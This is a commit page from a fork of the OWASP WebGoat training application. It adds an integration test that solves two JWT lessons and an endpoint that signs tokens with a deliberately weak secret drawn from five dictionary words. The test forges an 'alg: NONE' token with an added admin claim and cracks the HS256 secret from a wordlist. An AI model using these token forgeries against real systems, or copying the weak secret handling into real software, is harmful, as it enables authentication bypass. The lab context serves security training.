forked from WebGoat/WebGoat
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
fixed and improved first two jwt challenges
- Loading branch information
Showing
7 changed files
with
191 additions
and
18 deletions.
There are no files selected for viewing
140 changes: 140 additions & 0 deletions
140
webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,140 @@ | ||
| package org.owasp.webgoat; | ||
|
|
||
| import java.io.IOException; | ||
| import java.nio.charset.Charset; | ||
| import java.security.InvalidKeyException; | ||
| import java.security.NoSuchAlgorithmException; | ||
| import java.time.Instant; | ||
| import java.util.Base64; | ||
| import java.util.Calendar; | ||
| import java.util.Date; | ||
|
|
||
| import org.hamcrest.CoreMatchers; | ||
| import org.junit.Assert; | ||
| import org.junit.Before; | ||
| import org.junit.Test; | ||
| import org.owasp.webgoat.plugin.JWTSecretKeyEndpoint; | ||
|
|
||
| import com.fasterxml.jackson.databind.JsonNode; | ||
| import com.fasterxml.jackson.databind.ObjectMapper; | ||
| import com.fasterxml.jackson.databind.node.ObjectNode; | ||
|
|
||
| import io.jsonwebtoken.Jwt; | ||
| import io.jsonwebtoken.JwtException; | ||
| import io.jsonwebtoken.Jwts; | ||
| import io.jsonwebtoken.SignatureAlgorithm; | ||
| import io.jsonwebtoken.impl.TextCodec; | ||
| import io.restassured.RestAssured; | ||
|
|
||
| public class JWTLessonTest extends IntegrationTest { | ||
|
|
||
| @Before | ||
| public void initTest() { | ||
|
|
||
| } | ||
|
|
||
| @Test | ||
| public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException { | ||
|
|
||
| startLesson("JWT"); | ||
|
|
||
| resetVotes(); | ||
|
|
||
| findPassword(); | ||
|
|
||
| // checkResults("/JWT/"); | ||
|
|
||
| } | ||
|
|
||
| private String generateToken(String key) { | ||
|
|
||
| return Jwts.builder() | ||
| .setIssuer("WebGoat Token Builder") | ||
| .setAudience("webgoat.org") | ||
| .setIssuedAt(Calendar.getInstance().getTime()) | ||
| .setExpiration(Date.from(Instant.now().plusSeconds(60))) | ||
| .setSubject("[email protected]") | ||
| .claim("username", "WebGoat") | ||
| .claim("Email", "[email protected]") | ||
| .claim("Role", new String[] {"Manager", "Project Administrator"}) | ||
| .signWith(SignatureAlgorithm.HS256, key).compact(); | ||
| } | ||
|
|
||
| private String getSecretToken(String token) { | ||
| for (String key : JWTSecretKeyEndpoint.SECRETS) { | ||
| try { | ||
| Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token); | ||
| } catch (JwtException e) { | ||
| continue; | ||
| } | ||
| return TextCodec.BASE64.encode(key); | ||
| } | ||
| return null; | ||
| } | ||
|
|
||
| private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException { | ||
|
|
||
| String accessToken = RestAssured.given() | ||
| .when() | ||
| .config(restConfig) | ||
| .cookie("JSESSIONID", getWebGoatCookie()) | ||
| .get(url("/WebGoat/JWT/secret/gettoken")) | ||
| .then() | ||
| .extract().response().asString(); | ||
|
|
||
| String secret = getSecretToken(accessToken); | ||
|
|
||
| Assert.assertThat( | ||
| RestAssured.given() | ||
| .when() | ||
| .config(restConfig) | ||
| .cookie("JSESSIONID", getWebGoatCookie()) | ||
| .formParam("token", generateToken(secret)) | ||
| .post(url("/WebGoat/JWT/secret")) | ||
| .then() | ||
| .log().all() | ||
| .statusCode(200) | ||
| .extract().path("lessonCompleted"), CoreMatchers.is(true)); | ||
|
|
||
| } | ||
|
|
||
| private void resetVotes() throws IOException { | ||
| String accessToken = RestAssured.given() | ||
| .when() | ||
| .config(restConfig) | ||
| .cookie("JSESSIONID", getWebGoatCookie()) | ||
| .get(url("/WebGoat/JWT/votings/login?user=Tom")) | ||
| .then() | ||
| .extract().cookie("access_token"); | ||
|
|
||
| String header = accessToken.substring(0, accessToken.indexOf(".")); | ||
| header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset()))); | ||
|
|
||
| String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf(".")); | ||
| body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset()))); | ||
|
|
||
| ObjectMapper mapper = new ObjectMapper(); | ||
| JsonNode headerNode = mapper.readTree(header); | ||
| headerNode = ((ObjectNode) headerNode).put("alg","NONE"); | ||
|
|
||
| JsonNode bodyObject = mapper.readTree(body); | ||
| bodyObject = ((ObjectNode) bodyObject).put("admin","true"); | ||
|
|
||
| String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())) | ||
| .concat(".") | ||
| .concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString()) | ||
| .concat(".").replace("=", ""); | ||
|
|
||
| Assert.assertThat( | ||
| RestAssured.given() | ||
| .when() | ||
| .config(restConfig) | ||
| .cookie("JSESSIONID", getWebGoatCookie()) | ||
| .cookie("access_token", replacedToken) | ||
| .post(url("/WebGoat/JWT/votings")) | ||
| .then() | ||
| .statusCode(200) | ||
| .extract().path("lessonCompleted"), CoreMatchers.is(true)); | ||
| } | ||
|
|
||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -6,15 +6,23 @@ | |
| import org.owasp.webgoat.assignments.AssignmentHints; | ||
| import org.owasp.webgoat.assignments.AssignmentPath; | ||
| import org.owasp.webgoat.assignments.AttackResult; | ||
| import org.springframework.http.MediaType; | ||
| import org.springframework.web.bind.annotation.PostMapping; | ||
| import org.springframework.web.bind.annotation.RequestMapping; | ||
| import org.springframework.web.bind.annotation.RequestParam; | ||
|
|
||
| import io.jsonwebtoken.Claims; | ||
| import io.jsonwebtoken.Jwt; | ||
| import io.jsonwebtoken.Jwts; | ||
| import io.jsonwebtoken.SignatureAlgorithm; | ||
|
|
||
| import org.springframework.web.bind.annotation.ResponseBody; | ||
|
|
||
| import java.time.Instant; | ||
| import java.util.Calendar; | ||
| import java.util.Date; | ||
| import java.util.List; | ||
| import java.util.Random; | ||
|
|
||
| /** | ||
| * @author nbaars | ||
|
|
@@ -24,10 +32,26 @@ | |
| @AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"}) | ||
| public class JWTSecretKeyEndpoint extends AssignmentEndpoint { | ||
|
|
||
| public static final String JWT_SECRET = TextCodec.BASE64.encode("victory"); | ||
| public static final String[] SECRETS = {"victory","business","available", "shipping", "washington"}; | ||
| public static final String JWT_SECRET = TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]); | ||
| private static final String WEBGOAT_USER = "WebGoat"; | ||
| private static final List<String> expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role"); | ||
|
|
||
|
|
||
| @RequestMapping(path="/gettoken",produces=MediaType.TEXT_HTML_VALUE) | ||
| @ResponseBody | ||
| public String getSecretToken() { | ||
| return Jwts.builder() | ||
| .setIssuer("WebGoat Token Builder") | ||
| .setAudience("webgoat.org") | ||
| .setIssuedAt(Calendar.getInstance().getTime()) | ||
| .setExpiration(Date.from(Instant.now().plusSeconds(60))) | ||
| .setSubject("[email protected]") | ||
| .claim("username", "Tom") | ||
| .claim("Email", "[email protected]") | ||
| .claim("Role", new String[] {"Manager", "Project Administrator"}) | ||
| .signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact(); | ||
| } | ||
|
|
||
| @PostMapping | ||
| @ResponseBody | ||
| public AttackResult login(@RequestParam String token) { | ||
|
|
@@ -46,6 +70,7 @@ public AttackResult login(@RequestParam String token) { | |
| } | ||
| } | ||
| } catch (Exception e) { | ||
| e.printStackTrace(); | ||
| return trackProgress(failed().feedback("jwt-invalid-token").output(e.getMessage()).build()); | ||
| } | ||
| } | ||
|
|
||
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters